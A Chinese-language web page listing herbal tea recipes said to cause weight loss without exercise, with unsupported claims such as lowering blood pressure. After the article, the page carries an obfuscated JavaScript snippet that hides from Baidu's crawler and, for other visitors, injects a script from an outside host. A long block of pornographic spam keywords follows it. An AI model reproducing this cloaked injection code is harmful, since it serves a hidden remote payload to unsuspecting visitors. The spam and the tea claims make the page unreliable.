當前位置:首頁 > 減肥 > 運動減肥 > 正文

有什么方法可以不運動來減肥呢?

2017-04-21 16:10:05  來源:360常識網   熱度:
導語:很多的女性朋友平時總是會愛慕別人纖瘦的身材,但是自己又不想長時間拿來進行運動,或者有時候由于種種的原因無法進行運動,這時候身體總是

很多的女性朋友平時總是會愛慕別人纖瘦的身材,但是自己又不想長時間拿來進行運動,或者有時候由于種種的原因無法進行運動,這時候身體總是會不斷的變胖,其實,平時有很多的方法都能夠瘦身,今天小編就來介紹一下,可以不運動而有效的減掉身上肥肉的一些方法。

減肥健身茶——去脂通便降壓減肥

材料:新鮮桔皮1片、紅棗5顆、紅茶包一個

做法:紅棗切開,與桔皮共用開水沖泡飲用。

2.材料:金銀花50g、菊花50g、山楂50g、蜂蜜少許

做法:將金銀花、菊花、山楂一同放入鍋中,加2000cc水煎煮30分鐘后,濾汁。再加水煮一次,再濾汁,置于火上加熱,燒至微微沸騰后放涼,加入少許蜂蜜。

3.材料:決明子、山楂各等分、磨成粗末狀

做法:每次取5g,以開水沖泡,建議每日飲用三次。

葉茶——清肝解毒補充體力

1.材料:食醋3~5cc、茶葉3g

做法:以開水200cc沖泡茶葉,趁熱喝完,一日內可做數次沖泡。

2.材料:新鮮絲瓜葉、苦瓜葉、荷葉各30g(也可用絲瓜、苦瓜代替)

做法:材料洗凈后加水2000cc煎湯代茶飲用,一天一服。

3.材料:山楂50g、洋菜20g、冰糖少許

做法:山楂加350cc水煮30分鐘,然后去渣。洋菜切戲加入山楂水和冰糖,煮至洋菜完全融化,放涼后放進冰箱冷藏。

陳皮車前草茶——利尿、減肥、提神

材料:陳皮3g、車前草5g、綠茶5g

做法:材料置于杯中,用沸水沖泡后當茶水飲用。

吃什么可以瘦腿四、昆藻茶——消痰、利水、減肥

材料:海藻6g、昆布6g、茯苓3g、苡仁8g、烏龍茶2g

做法:加水500cc,先煮苡仁,15分鐘后再放入其他材料,繼續煮15分鐘后去渣,當茶飲用。

想要減肥的女性朋友,平時在家里面可以自己通過以上的方法來進行,當然如果想要快速的達到更好的減肥效果,也可以配合進行一些適度的鍛煉,比如每天進行散步,慢跑,跳繩,踢毽子等等的有氧運動,不僅能夠減肥,還會使得女性的精氣神更好。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产成人精品日本亚洲网站| 国产精品成人国产乱一区| 精品国产一区二区三区免费| 亚洲精品成a人在线观看☆ | 国产热re99久久6国产精品| 久久国产精品鲁丝片| 一区二区三区精品高清视频免费在线播放 | 2021国内精品久久久久精免费| 国产精品毛片一区二区| 人妻少妇精品无码专区| 97视频精品全国在线观看| 香蕉在线精品视频在线观看6| 精品久久洲久久久久护士| 精品无码一区二区三区爱欲| 热久久这里是精品6免费观看| 国产精品成人网站| 国产成人精品午夜福利在线播放 | 亚洲精品亚洲人成在线麻豆| 亚洲午夜国产精品无码老牛影视| 国产区香蕉精品系列在线观看不卡| 97精品伊人久久大香线蕉app| 久久久亚洲精品国产| 青青精品视频国产| 国产精品片在线观看手机版| 国产精品理论电影| 99久久免费精品国产72精品九九| 麻豆文化传媒精品一区二区| 国产成人亚洲精品青草天美| 国产精品毛片无码| 亚洲精品97久久中文字幕无码| 精品亚洲成A人在线观看青青| 国内精品免费麻豆网站91麻豆| 久久亚洲美女精品国产精品| 国内精品久久久久久野外| 国产午夜精品一区二区三区不卡| 国产精品亚洲色图| 国产精品国产三级国产专播下 | 国产乱色精品成人免费视频| 精品久久久久亚洲| 精品香蕉久久久午夜福利| 亚洲AV永久无码精品一福利|